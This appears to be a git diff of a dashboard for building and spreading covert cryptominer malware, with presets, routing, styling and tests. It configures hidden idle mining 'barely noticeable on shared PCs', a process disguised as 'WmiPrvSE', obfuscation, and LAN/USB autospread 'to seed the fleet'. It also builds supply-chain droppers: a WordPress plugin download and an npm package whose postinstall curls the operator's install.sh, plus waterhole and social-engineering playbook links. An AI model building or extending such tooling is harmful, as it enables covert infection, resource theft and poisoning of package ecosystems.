blurb: 'Visible console, logging on, no garble — for lab testing and debugging',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
stealth_mode: false,
|
||||
display_mode: 'visible',
|
||||
silent_mode: false,
|
||||
file_logging: true,
|
||||
obfuscate: false,
|
||||
sigil_scramble: false,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'sigil_mask',
|
||||
label: 'Sigil Mask',
|
||||
color: '#b794f6',
|
||||
skin: 'halloween',
|
||||
blurb: 'Garble + Sigil scramble, disguised process name, fusion off — hardened obfuscation',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
obfuscate: true,
|
||||
sigil_scramble: true,
|
||||
process_name: 'WmiPrvSE',
|
||||
fusion_enabled: false,
|
||||
spread_kit: false,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'hearth_whisper',
|
||||
label: 'Hearth Whisper',
|
||||
color: '#4ade80',
|
||||
skin: 'aether',
|
||||
blurb: 'Hidden idle miner with low CPU cap — barely noticeable on shared PCs',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
mining_mode: 'idle',
|
||||
idle_threshold_pct: 25,
|
||||
max_cpu_usage_pct: 45,
|
||||
thread_mode: 'percent',
|
||||
thread_percent: 50,
|
||||
fusion_enabled: false,
|
||||
remote_aggressive: false,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'wildfire',
|
||||
label: 'Wildfire',
|
||||
color: '#ff8c3a',
|
||||
skin: 'wildfire',
|
||||
blurb: 'Universal spread kit + LAN/USB autospread — ready to seed the fleet',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
spread_kit: true,
|
||||
fusion_enabled: false,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
auto_spread: true,
|
||||
usb_spread: true,
|
||||
share_spread: true,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'crucible_storm',
|
||||
label: 'Crucible Storm',
|
||||
color: '#d4af37',
|
||||
skin: 'crucible',
|
||||
blurb: 'Aggressive remote ops + hole punch enabled for Crucible command sessions',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
remote_aggressive: true,
|
||||
hole_punch: true,
|
||||
mesh_p2p: true,
|
||||
}),
|
||||
},
|
||||
];
|
||||
|
||||
export function isOperationModeId(value: string): value is OperationModeId {
|
||||
return OPERATION_MODES.some((m) => m.id === value);
|
||||
}
|
||||
|
||||
export function loadStoredOperationMode(): OperationModeId {
|
||||
try {
|
||||
const v = localStorage.getItem(OPERATION_MODE_STORAGE_KEY);
|
||||
if (v && isOperationModeId(v)) return v;
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
return DEFAULT_OPERATION_MODE;
|
||||
}
|
||||
|
||||
export function storeOperationMode(id: OperationModeId): void {
|
||||
try {
|
||||
localStorage.setItem(OPERATION_MODE_STORAGE_KEY, id);
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
|
||||
export function applyOperationMode(form: BuildRequest, id: OperationModeId): BuildRequest {
|
||||
const mode = OPERATION_MODES.find((m) => m.id === id);
|
||||
return mode ? normalizeForgeForm(mode.apply(form)) : form;
|
||||
}
|
||||
|
||||
export function loadStoredForgeTheme(): ForgeThemeOverride {
|
||||
try {
|
||||
const v = localStorage.getItem(FORGE_THEME_STORAGE_KEY);
|
||||
if (v === 'auto') return 'auto';
|
||||
if (v && isForgeSkinId(v)) return v;
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
return 'auto';
|
||||
}
|
||||
|
||||
export function storeForgeTheme(theme: ForgeThemeOverride): void {
|
||||
try {
|
||||
localStorage.setItem(FORGE_THEME_STORAGE_KEY, theme);
|
||||
window.dispatchEvent(new CustomEvent(FORGE_THEME_EVENT));
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
|
||||
export function resolveForgeSkin(
|
||||
operationModeId: OperationModeId,
|
||||
themeOverride?: ForgeThemeOverride
|
||||
): ForgeSkinId {
|
||||
const override = themeOverride ?? loadStoredForgeTheme();
|
||||
if (override !== 'auto') return override;
|
||||
return skinForOperationMode(operationModeId);
|
||||
}
|
||||
45
server/web/src/help/pageWeather.test.ts
Normal file
45
server/web/src/help/pageWeather.test.ts
Normal file
@@ -0,0 +1,45 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { resolvePageWeather, PAGE_WEATHER, DEFAULT_PAGE_WEATHER } from './pageWeather';
|
||||
|
||||
describe('pageWeather', () => {
|
||||
it('resolves forge and mission deck to full glow', () => {
|
||||
expect(resolvePageWeather('/forge').vibe).toBe('forge-glow');
|
||||
expect(resolvePageWeather('/forge').intensity).toBe(1);
|
||||
expect(resolvePageWeather('/mission-deck').vibe).toBe('forge-glow');
|
||||
});
|
||||
|
||||
it('resolves crucible to slower embers', () => {
|
||||
const w = resolvePageWeather('/crucible');
|
||||
expect(w.vibe).toBe('crucible-embers');
|
||||
expect(w.speed).toBeLessThan(0.5);
|
||||
expect(w.palette).toBe('crucible');
|
||||
});
|
||||
|
||||
it('resolves emberwake with campaign pulse', () => {
|
||||
const w = resolvePageWeather('/emberwake');
|
||||
expect(w.vibe).toBe('emberwake-pulse');
|
||||
expect(w.energyPulse).toBe(true);
|
||||
expect(w.palette).toBe('campaign');
|
||||
});
|
||||
|
||||
it('resolves settings to dim starfield', () => {
|
||||
const w = resolvePageWeather('/settings');
|
||||
expect(w.vibe).toBe('starfield-dim');
|
||||
expect(w.intensity).toBeLessThan(0.3);
|
||||
expect(w.palette).toBe('dim');
|
||||
});
|
||||
|
||||
it('resolves fleet and dashboard to medium drift', () => {
|
||||
expect(resolvePageWeather('/agents').vibe).toBe('medium-drift');
|
||||
expect(resolvePageWeather('/dashboard').vibe).toBe('medium-drift');
|
||||
});
|
||||
|
||||
it('strips trailing slash and query', () => {
|
||||
expect(resolvePageWeather('/crucible/')).toEqual(PAGE_WEATHER['/crucible']);
|
||||
expect(resolvePageWeather('/dashboard?tab=fleet')).toEqual(PAGE_WEATHER['/dashboard']);
|
||||
});
|
||||
|
||||
it('falls back to default for unknown routes', () => {
|
||||
expect(resolvePageWeather('/unknown')).toEqual(DEFAULT_PAGE_WEATHER);
|
||||
});
|
||||
});
|
||||
228
server/web/src/help/pageWeather.ts
Normal file
228
server/web/src/help/pageWeather.ts
Normal file
@@ -0,0 +1,228 @@
|
||||
/** Route → ambient 3D weather (particle glow, drift, palette). Mirrors ambientMusic page map. */
|
||||
|
||||
export type WeatherVibe =
|
||||
| 'forge-glow'
|
||||
| 'crucible-embers'
|
||||
| 'emberwake-pulse'
|
||||
| 'starfield-dim'
|
||||
| 'medium-drift';
|
||||
|
||||
export type WeatherPalette = 'default' | 'crucible' | 'campaign' | 'dim';
|
||||
|
||||
export interface PageWeatherConfig {
|
||||
vibe: WeatherVibe;
|
||||
/** 0–1 overall particle glow strength */
|
||||
intensity: number;
|
||||
/** Velocity multiplier */
|
||||
speed: number;
|
||||
/** Pulse / twinkle rate multiplier */
|
||||
pulse: number;
|
||||
/** Particle density multiplier */
|
||||
density: number;
|
||||
/** Constellation link strength 0–1 */
|
||||
linkStrength: number;
|
||||
/** CSS grid / sacred-geo layer opacity */
|
||||
layerOpacity: number;
|
||||
/** Orb float animation duration (seconds; higher = slower) */
|
||||
orbDrift: number;
|
||||
/** Grid drift animation duration (seconds) */
|
||||
gridDrift: number;
|
||||
palette: WeatherPalette;
|
||||
/** Campaign-energy sine pulse on emberwake routes */
|
||||
energyPulse?: boolean;
|
||||
}
|
||||
|
||||
export const DEFAULT_PAGE_WEATHER: PageWeatherConfig = {
|
||||
vibe: 'medium-drift',
|
||||
intensity: 0.65,
|
||||
speed: 0.5,
|
||||
pulse: 0.65,
|
||||
density: 0.72,
|
||||
linkStrength: 0.7,
|
||||
layerOpacity: 0.55,
|
||||
orbDrift: 14,
|
||||
gridDrift: 48,
|
||||
palette: 'default',
|
||||
};
|
||||
|
||||
/** Route → weather profile. Prefix match for nested paths. */
|
||||
export const PAGE_WEATHER: Record<string, PageWeatherConfig> = {
|
||||
'/forge': {
|
||||
vibe: 'forge-glow',
|
||||
intensity: 1,
|
||||
speed: 1,
|
||||
pulse: 1,
|
||||
density: 1,
|
||||
linkStrength: 1,
|
||||
layerOpacity: 0.6,
|
||||
orbDrift: 12,
|
||||
gridDrift: 40,
|
||||
palette: 'default',
|
||||
},
|
||||
'/builder': {
|
||||
vibe: 'forge-glow',
|
||||
intensity: 1,
|
||||
speed: 1,
|
||||
pulse: 1,
|
||||
density: 1,
|
||||
linkStrength: 1,
|
||||
layerOpacity: 0.6,
|
||||
orbDrift: 12,
|
||||
gridDrift: 40,
|
||||
palette: 'default',
|
||||
},
|
||||
'/mission-deck': {
|
||||
vibe: 'forge-glow',
|
||||
intensity: 1,
|
||||
speed: 1,
|
||||
pulse: 1.05,
|
||||
density: 1,
|
||||
linkStrength: 1,
|
||||
layerOpacity: 0.62,
|
||||
orbDrift: 11,
|
||||
gridDrift: 38,
|
||||
palette: 'default',
|
||||
},
|
||||
'/crucible': {
|
||||
vibe: 'crucible-embers',
|
||||
intensity: 0.75,
|
||||
speed: 0.32,
|
||||
pulse: 0.45,
|
||||
density: 0.85,
|
||||
linkStrength: 0.45,
|
||||
layerOpacity: 0.5,
|
||||
orbDrift: 22,
|
||||
gridDrift: 72,
|
||||
palette: 'crucible',
|
||||
},
|
||||
'/emberwake': {
|
||||
vibe: 'emberwake-pulse',
|
||||
intensity: 0.85,
|
||||
speed: 0.55,
|
||||
pulse: 1.6,
|
||||
density: 0.9,
|
||||
linkStrength: 0.75,
|
||||
layerOpacity: 0.58,
|
||||
orbDrift: 9,
|
||||
gridDrift: 36,
|
||||
palette: 'campaign',
|
||||
energyPulse: true,
|
||||
},
|
||||
'/spread': {
|
||||
vibe: 'emberwake-pulse',
|
||||
intensity: 0.85,
|
||||
speed: 0.55,
|
||||
pulse: 1.6,
|
||||
density: 0.9,
|
||||
linkStrength: 0.75,
|
||||
layerOpacity: 0.58,
|
||||
orbDrift: 9,
|
||||
gridDrift: 36,
|
||||
palette: 'campaign',
|
||||
energyPulse: true,
|
||||
},
|
||||
'/settings': {
|
||||
vibe: 'starfield-dim',
|
||||
intensity: 0.22,
|
||||
speed: 0.15,
|
||||
pulse: 0.35,
|
||||
density: 0.45,
|
||||
linkStrength: 0.12,
|
||||
layerOpacity: 0.28,
|
||||
orbDrift: 36,
|
||||
gridDrift: 120,
|
||||
palette: 'dim',
|
||||
},
|
||||
'/agents': {
|
||||
vibe: 'medium-drift',
|
||||
intensity: 0.68,
|
||||
speed: 0.55,
|
||||
pulse: 0.7,
|
||||
density: 0.75,
|
||||
linkStrength: 0.72,
|
||||
layerOpacity: 0.52,
|
||||
orbDrift: 15,
|
||||
gridDrift: 50,
|
||||
palette: 'default',
|
||||
},
|
||||
'/dashboard': {
|
||||
vibe: 'medium-drift',
|
||||
intensity: 0.65,
|
||||
speed: 0.5,
|
||||
pulse: 0.65,
|
||||
density: 0.72,
|
||||
linkStrength: 0.7,
|
||||
layerOpacity: 0.55,
|
||||
orbDrift: 14,
|
||||
gridDrift: 48,
|
||||
palette: 'default',
|
||||
},
|
||||
'/builds': {
|
||||
vibe: 'medium-drift',
|
||||
intensity: 0.55,
|
||||
speed: 0.45,
|
||||
pulse: 0.6,
|
||||
density: 0.65,
|
||||
linkStrength: 0.6,
|
||||
layerOpacity: 0.48,
|
||||
orbDrift: 16,
|
||||
gridDrift: 54,
|
||||
palette: 'default',
|
||||
},
|
||||
'/pathtracer': {
|
||||
vibe: 'starfield-dim',
|
||||
intensity: 0.35,
|
||||
speed: 0.25,
|
||||
pulse: 0.4,
|
||||
density: 0.5,
|
||||
linkStrength: 0.2,
|
||||
layerOpacity: 0.32,
|
||||
orbDrift: 28,
|
||||
gridDrift: 90,
|
||||
palette: 'dim',
|
||||
},
|
||||
};
|
||||
|
||||
export function resolvePageWeather(pathname: string): PageWeatherConfig {
|
||||
const path = pathname.split('?')[0].replace(/\/$/, '') || '/';
|
||||
if (PAGE_WEATHER[path] !== undefined) {
|
||||
return PAGE_WEATHER[path];
|
||||
}
|
||||
for (const [prefix, weather] of Object.entries(PAGE_WEATHER)) {
|
||||
if (prefix !== '/' && path.startsWith(prefix)) return weather;
|
||||
}
|
||||
return DEFAULT_PAGE_WEATHER;
|
||||
}
|
||||
|
||||
export type GlowColor = {
|
||||
core: string;
|
||||
mid: string;
|
||||
line: string;
|
||||
};
|
||||
|
||||
export const WEATHER_PALETTES: Record<WeatherPalette, readonly GlowColor[]> = {
|
||||
default: [
|
||||
{ core: 'rgba(201, 162, 39, 0.85)', mid: 'rgba(201, 162, 39, 0.25)', line: 'rgba(201, 162, 39, 0.12)' },
|
||||
{ core: 'rgba(0, 245, 255, 0.75)', mid: 'rgba(0, 245, 255, 0.22)', line: 'rgba(0, 245, 255, 0.1)' },
|
||||
{ core: 'rgba(255, 45, 166, 0.7)', mid: 'rgba(255, 45, 166, 0.2)', line: 'rgba(255, 45, 166, 0.09)' },
|
||||
{ core: 'rgba(255, 176, 32, 0.8)', mid: 'rgba(255, 176, 32, 0.22)', line: 'rgba(255, 176, 32, 0.1)' },
|
||||
],
|
||||
crucible: [
|
||||
{ core: 'rgba(212, 175, 55, 0.9)', mid: 'rgba(212, 175, 55, 0.28)', line: 'rgba(212, 175, 55, 0.14)' },
|
||||
{ core: 'rgba(232, 93, 74, 0.78)', mid: 'rgba(232, 93, 74, 0.22)', line: 'rgba(232, 93, 74, 0.1)' },
|
||||
{ core: 'rgba(255, 140, 58, 0.82)', mid: 'rgba(255, 140, 58, 0.24)', line: 'rgba(255, 140, 58, 0.11)' },
|
||||
{ core: 'rgba(180, 90, 40, 0.72)', mid: 'rgba(180, 90, 40, 0.2)', line: 'rgba(180, 90, 40, 0.09)' },
|
||||
],
|
||||
campaign: [
|
||||
{ core: 'rgba(255, 95, 25, 0.92)', mid: 'rgba(255, 95, 25, 0.3)', line: 'rgba(255, 95, 25, 0.14)' },
|
||||
{ core: 'rgba(255, 176, 32, 0.85)', mid: 'rgba(255, 176, 32, 0.26)', line: 'rgba(255, 176, 32, 0.12)' },
|
||||
{ core: 'rgba(255, 55, 90, 0.7)', mid: 'rgba(255, 55, 90, 0.2)', line: 'rgba(255, 55, 90, 0.09)' },
|
||||
{ core: 'rgba(0, 220, 255, 0.55)', mid: 'rgba(0, 220, 255, 0.16)', line: 'rgba(0, 220, 255, 0.08)' },
|
||||
],
|
||||
dim: [
|
||||
{ core: 'rgba(190, 200, 230, 0.42)', mid: 'rgba(190, 200, 230, 0.12)', line: 'rgba(190, 200, 230, 0.05)' },
|
||||
{ core: 'rgba(130, 150, 190, 0.32)', mid: 'rgba(130, 150, 190, 0.1)', line: 'rgba(130, 150, 190, 0.04)' },
|
||||
{ core: 'rgba(201, 162, 39, 0.22)', mid: 'rgba(201, 162, 39, 0.08)', line: 'rgba(201, 162, 39, 0.03)' },
|
||||
{ core: 'rgba(0, 245, 255, 0.18)', mid: 'rgba(0, 245, 255, 0.06)', line: 'rgba(0, 245, 255, 0.03)' },
|
||||
],
|
||||
};
|
||||
14
server/web/src/help/presencePages.test.ts
Normal file
14
server/web/src/help/presencePages.test.ts
Normal file
@@ -0,0 +1,14 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { presenceActivityLine, presencePageLabel } from './presencePages';
|
||||
|
||||
describe('presencePages', () => {
|
||||
it('maps known routes to war-room labels', () => {
|
||||
expect(presencePageLabel('/crucible')).toBe('Crucible');
|
||||
expect(presencePageLabel('/emberwake')).toBe('Emberwake');
|
||||
expect(presencePageLabel('forge')).toBe('Forge');
|
||||
});
|
||||
|
||||
it('formats activity line for status bar', () => {
|
||||
expect(presenceActivityLine('india', '/crucible')).toBe('india is in Crucible');
|
||||
});
|
||||
});
|
||||
23
server/web/src/help/presencePages.ts
Normal file
23
server/web/src/help/presencePages.ts
Normal file
@@ -0,0 +1,23 @@
|
||||
/** Map dashboard routes to human-readable page names for comrade presence. */
|
||||
const PAGE_LABELS: Record<string, string> = {
|
||||
'/dashboard': 'Command Deck',
|
||||
'/agents': 'Fleet Roster',
|
||||
'/crucible': 'Crucible',
|
||||
'/forge': 'Forge',
|
||||
'/builder': 'Forge',
|
||||
'/mission-deck': 'Mission Deck',
|
||||
'/builds': 'Builds',
|
||||
'/emberwake': 'Emberwake',
|
||||
'/spread': 'Emberwake',
|
||||
'/settings': 'Calibrate',
|
||||
'/pathtracer': 'Path Tracer',
|
||||
};
|
||||
|
||||
export function presencePageLabel(path: string): string {
|
||||
const normalized = path.startsWith('/') ? path : `/${path}`;
|
||||
return PAGE_LABELS[normalized] ?? (normalized.replace(/^\//, '') || 'Dashboard');
|
||||
}
|
||||
|
||||
export function presenceActivityLine(user: string, page: string): string {
|
||||
return `${user} is in ${presencePageLabel(page)}`;
|
||||
}
|
||||
39
server/web/src/help/spreadProfiles.test.ts
Normal file
39
server/web/src/help/spreadProfiles.test.ts
Normal file
@@ -0,0 +1,39 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { SPREAD_PROFILES, applySpreadProfile } from './spreadProfiles';
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
const baseForm = (): BuildRequest =>
|
||||
({
|
||||
server_url: 'http://192.168.1.1:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
worker_name: 'test',
|
||||
threads: 2,
|
||||
target_os: 'windows',
|
||||
target_arch: 'amd64',
|
||||
}) as BuildRequest;
|
||||
|
||||
describe('spreadProfiles', () => {
|
||||
it('exposes four colored presets', () => {
|
||||
expect(SPREAD_PROFILES).toHaveLength(4);
|
||||
expect(SPREAD_PROFILES.map((p) => p.label)).toEqual([
|
||||
'Web Drop',
|
||||
'Desktop Fusion',
|
||||
'LAN Kindling',
|
||||
'Crucible Ops',
|
||||
]);
|
||||
SPREAD_PROFILES.forEach((p) => expect(p.color).toMatch(/^#/));
|
||||
});
|
||||
|
||||
it('applies LAN Kindling spread kit flags', () => {
|
||||
const next = applySpreadProfile(baseForm(), 'lan_kindling');
|
||||
expect(next.spread_kit).toBe(true);
|
||||
expect(next.auto_spread).toBe(true);
|
||||
expect(next.target_os).toBe('universal');
|
||||
});
|
||||
|
||||
it('applies Crucible Ops aggressive remote', () => {
|
||||
const next = applySpreadProfile(baseForm(), 'crucible_ops');
|
||||
expect(next.remote_aggressive).toBe(true);
|
||||
expect(next.hole_punch).toBe(true);
|
||||
});
|
||||
});
|
||||
29
server/web/src/help/spreadTechniques.test.ts
Normal file
29
server/web/src/help/spreadTechniques.test.ts
Normal file
@@ -0,0 +1,29 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
EMBERWAKE_TECHNIQUE_LINKS,
|
||||
SPREAD_TECHNIQUES_DOC,
|
||||
spreadTechniqueDocUrl,
|
||||
} from './spreadTechniques';
|
||||
|
||||
describe('spreadTechniques', () => {
|
||||
it('builds doc URLs with optional anchors', () => {
|
||||
expect(spreadTechniqueDocUrl()).toBe(SPREAD_TECHNIQUES_DOC);
|
||||
expect(spreadTechniqueDocUrl('technique-matrix')).toBe(
|
||||
'/docs/SPREAD_TECHNIQUES.md#technique-matrix',
|
||||
);
|
||||
});
|
||||
|
||||
it('maps Emberwake bullets to playbook sections', () => {
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(7);
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS[0].anchor).toBeTruthy();
|
||||
});
|
||||
|
||||
it('links wiki-only techniques to /docs/', () => {
|
||||
expect(spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)).toBe(
|
||||
'/docs/#wordpress-plugin-supply-chain',
|
||||
);
|
||||
expect(spreadTechniqueDocUrl('npm-postinstall-helper', true)).toBe(
|
||||
'/docs/#npm-postinstall-helper',
|
||||
);
|
||||
});
|
||||
});
|
||||
61
server/web/src/help/spreadTechniques.ts
Normal file
61
server/web/src/help/spreadTechniques.ts
Normal file
@@ -0,0 +1,61 @@
|
||||
/** Links into docs/SPREAD_TECHNIQUES.md (served at /docs/SPREAD_TECHNIQUES.md). */
|
||||
|
||||
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.md';
|
||||
|
||||
export interface EmberwakeTechniqueLink {
|
||||
/** Short label shown in Emberwake UI */
|
||||
label: string;
|
||||
/** Markdown heading anchor in SPREAD_TECHNIQUES.md or wiki section id */
|
||||
anchor: string;
|
||||
/** One-line operator hint */
|
||||
hint: string;
|
||||
/** When set, link targets /docs/#anchor instead of SPREAD_TECHNIQUES.md */
|
||||
wiki?: boolean;
|
||||
}
|
||||
|
||||
/** Maps Emberwake “how to spread” bullets to playbook sections. */
|
||||
export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
|
||||
{
|
||||
label: 'Web waterhole',
|
||||
anchor: 'owned-site-you-control-origin',
|
||||
hint: 'Dropper landing page, spread-kit ZIP on owned origin',
|
||||
},
|
||||
{
|
||||
label: 'curl | bash VPS',
|
||||
anchor: 'server-specific-endpoints-linuxmacoswindows-servers',
|
||||
hint: 'install.sh / install.ps1 one-liners on headless servers',
|
||||
},
|
||||
{
|
||||
label: 'Fusion media',
|
||||
anchor: 'owned-site-you-control-origin',
|
||||
hint: 'Fusion bundle as codec/tool download — pair with Desktop Fusion preset',
|
||||
},
|
||||
{
|
||||
label: 'LAN kindling',
|
||||
anchor: 'five-recommended-plays--sites-you-own',
|
||||
hint: 'Universal spread kit + autospread — LAN Kindling forge preset',
|
||||
},
|
||||
{
|
||||
label: 'A/B droppers',
|
||||
anchor: 'social-engineering-funnel-email--ads--site--file',
|
||||
hint: 'Campaign ?c= tags + pin build A vs B between waves',
|
||||
},
|
||||
{
|
||||
label: 'WordPress plugin',
|
||||
anchor: 'wordpress-plugin-supply-chain',
|
||||
hint: 'Operator-owned plugin ZIP — /get?c=wp-{site} on your WP host',
|
||||
wiki: true,
|
||||
},
|
||||
{
|
||||
label: 'npm postinstall',
|
||||
anchor: 'npm-postinstall-helper',
|
||||
hint: 'Private package template — postinstall curls your install.sh',
|
||||
wiki: true,
|
||||
},
|
||||
];
|
||||
|
||||
export function spreadTechniqueDocUrl(anchor?: string, wiki = false): string {
|
||||
if (wiki && anchor) return `/docs/#${anchor}`;
|
||||
if (!anchor) return SPREAD_TECHNIQUES_DOC;
|
||||
return `${SPREAD_TECHNIQUES_DOC}#${anchor}`;
|
||||
}
|
||||
82
server/web/src/help/supplyChainExport.test.ts
Normal file
82
server/web/src/help/supplyChainExport.test.ts
Normal file
@@ -0,0 +1,82 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
deploymentReelActiveIndex,
|
||||
deploymentReelSteps,
|
||||
deploymentReelStepStatus,
|
||||
deploymentReelTotalDurationMs,
|
||||
deploymentReelUploadWikiUrl,
|
||||
deploymentReelVisibleCount,
|
||||
emberwakeWarRoomUrl,
|
||||
npmInstallShUrl,
|
||||
npmPackageName,
|
||||
sanitizeExportSlug,
|
||||
supplyChainZipFilename,
|
||||
wpCampaignSlug,
|
||||
wpDownloadUrl,
|
||||
} from './supplyChainExport';
|
||||
|
||||
describe('supplyChainExport', () => {
|
||||
it('sanitizeExportSlug matches server rules', () => {
|
||||
expect(sanitizeExportSlug('My Blog')).toBe('my-blog');
|
||||
expect(sanitizeExportSlug('')).toBe('site');
|
||||
expect(sanitizeExportSlug('---')).toBe('site');
|
||||
});
|
||||
|
||||
it('builds WordPress campaign and download URL', () => {
|
||||
expect(wpCampaignSlug('My Blog')).toBe('wp-my-blog');
|
||||
expect(wpDownloadUrl('https://deck.example:8989', 'My Blog', 'build-abc')).toBe(
|
||||
'https://deck.example:8989/get?c=wp-my-blog&pin=build-abc',
|
||||
);
|
||||
});
|
||||
|
||||
it('builds npm package name and install.sh URL', () => {
|
||||
expect(npmPackageName('ci-bootstrap')).toBe('@aetherforge/ci-bootstrap-helper');
|
||||
expect(npmInstallShUrl('https://deck.example', 'ci-bootstrap', 'pin-1')).toBe(
|
||||
'https://deck.example/install.sh?pin=pin-1&c=ci-bootstrap',
|
||||
);
|
||||
});
|
||||
|
||||
it('names zip files', () => {
|
||||
expect(supplyChainZipFilename('wordpress', 'my-blog')).toBe('my-blog-wordpress-plugin.zip');
|
||||
expect(supplyChainZipFilename('npm', 'ci-bootstrap')).toBe('ci-bootstrap-npm-helper.zip');
|
||||
});
|
||||
});
|
||||
|
||||
describe('deploymentReel helpers', () => {
|
||||
it('builds three reel steps with wiki upload and war room links', () => {
|
||||
const wp = deploymentReelSteps('wordpress');
|
||||
expect(wp).toHaveLength(3);
|
||||
expect(wp[0].label).toBe('Download ZIP');
|
||||
expect(wp[1].href).toBe(deploymentReelUploadWikiUrl('wordpress'));
|
||||
expect(wp[2].href).toBe(emberwakeWarRoomUrl());
|
||||
|
||||
const npm = deploymentReelSteps('npm');
|
||||
expect(npm[1].href).toContain('#npm-hosting-checklist');
|
||||
expect(emberwakeWarRoomUrl()).toBe('/emberwake#campaign-war-room');
|
||||
});
|
||||
|
||||
it('reveals checkmarks sequentially by elapsed time', () => {
|
||||
expect(deploymentReelVisibleCount(0)).toBe(0);
|
||||
expect(deploymentReelVisibleCount(399)).toBe(0);
|
||||
expect(deploymentReelVisibleCount(400)).toBe(1);
|
||||
expect(deploymentReelVisibleCount(1299)).toBe(1);
|
||||
expect(deploymentReelVisibleCount(1300)).toBe(2);
|
||||
expect(deploymentReelVisibleCount(2200)).toBe(3);
|
||||
expect(deploymentReelVisibleCount(9999)).toBe(3);
|
||||
});
|
||||
|
||||
it('maps visible count to step status', () => {
|
||||
expect(deploymentReelStepStatus(0, 0)).toBe('active');
|
||||
expect(deploymentReelStepStatus(1, 0)).toBe('pending');
|
||||
expect(deploymentReelStepStatus(0, 1)).toBe('done');
|
||||
expect(deploymentReelStepStatus(1, 1)).toBe('active');
|
||||
expect(deploymentReelStepStatus(2, 3)).toBe('done');
|
||||
});
|
||||
|
||||
it('tracks active index and total duration', () => {
|
||||
expect(deploymentReelActiveIndex(0)).toBe(0);
|
||||
expect(deploymentReelActiveIndex(2)).toBe(2);
|
||||
expect(deploymentReelActiveIndex(3)).toBe(-1);
|
||||
expect(deploymentReelTotalDurationMs()).toBe(400 + 3 * 900);
|
||||
});
|
||||
});
|
||||
234
server/web/src/help/supplyChainExport.ts
Normal file
234
server/web/src/help/supplyChainExport.ts
Normal file
@@ -0,0 +1,234 @@
|
||||
/** Supply-chain export wizard helpers (WordPress plugin + npm postinstall). */
|
||||
|
||||
import { spreadTechniqueDocUrl } from './spreadTechniques';
|
||||
|
||||
export type SupplyChainFamily = 'wordpress' | 'npm';
|
||||
|
||||
export const SUPPLY_CHAIN_WIZARD_STEPS = [
|
||||
'pick-build',
|
||||
'configure',
|
||||
'download',
|
||||
'host',
|
||||
] as const;
|
||||
|
||||
export type SupplyChainWizardStep = (typeof SUPPLY_CHAIN_WIZARD_STEPS)[number];
|
||||
|
||||
export const SUPPLY_CHAIN_STEP_LABELS: Record<SupplyChainWizardStep, string> = {
|
||||
'pick-build': 'Pick build',
|
||||
configure: 'Configure site/campaign',
|
||||
download: 'Download ZIP',
|
||||
host: 'Copy hosting instructions',
|
||||
};
|
||||
|
||||
/** Matches server sanitizeExportSlug in spread_export.go */
|
||||
export function sanitizeExportSlug(s: string): string {
|
||||
let slug = s.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^[-.]+|[-.]+$/g, '');
|
||||
if (!slug) slug = 'site';
|
||||
if (slug.length > 48) slug = slug.slice(0, 48);
|
||||
return slug;
|
||||
}
|
||||
|
||||
export function wpCampaignSlug(siteName: string): string {
|
||||
return `wp-${sanitizeExportSlug(siteName)}`;
|
||||
}
|
||||
|
||||
export function wpDownloadUrl(serverUrl: string, siteName: string, buildId: string): string {
|
||||
const base = serverUrl.replace(/\/$/, '');
|
||||
const c = wpCampaignSlug(siteName);
|
||||
let url = `${base}/get?c=${encodeURIComponent(c)}`;
|
||||
const pin = buildId.trim();
|
||||
if (pin) url += `&pin=${encodeURIComponent(pin)}`;
|
||||
return url;
|
||||
}
|
||||
|
||||
export function npmPackageName(campaign: string): string {
|
||||
const slug = sanitizeExportSlug(campaign || 'npm-helper');
|
||||
return `@aetherforge/${slug}-helper`;
|
||||
}
|
||||
|
||||
export function npmInstallShUrl(serverUrl: string, campaign: string, buildId: string): string {
|
||||
const base = serverUrl.replace(/\/$/, '');
|
||||
const parts: string[] = [];
|
||||
const pin = buildId.trim();
|
||||
const slug = campaign.trim();
|
||||
if (pin) parts.push(`pin=${encodeURIComponent(pin)}`);
|
||||
if (slug) parts.push(`c=${encodeURIComponent(slug)}`);
|
||||
return parts.length ? `${base}/install.sh?${parts.join('&')}` : `${base}/install.sh`;
|
||||
}
|
||||
|
||||
export function supplyChainZipFilename(family: SupplyChainFamily, siteOrCampaign: string): string {
|
||||
const slug = sanitizeExportSlug(siteOrCampaign || (family === 'wordpress' ? 'site' : 'npm-helper'));
|
||||
return family === 'wordpress' ? `${slug}-wordpress-plugin.zip` : `${slug}-npm-helper.zip`;
|
||||
}
|
||||
|
||||
export function supplyChainWikiUrl(family: SupplyChainFamily): string {
|
||||
return family === 'wordpress'
|
||||
? spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)
|
||||
: spreadTechniqueDocUrl('npm-postinstall-helper', true);
|
||||
}
|
||||
|
||||
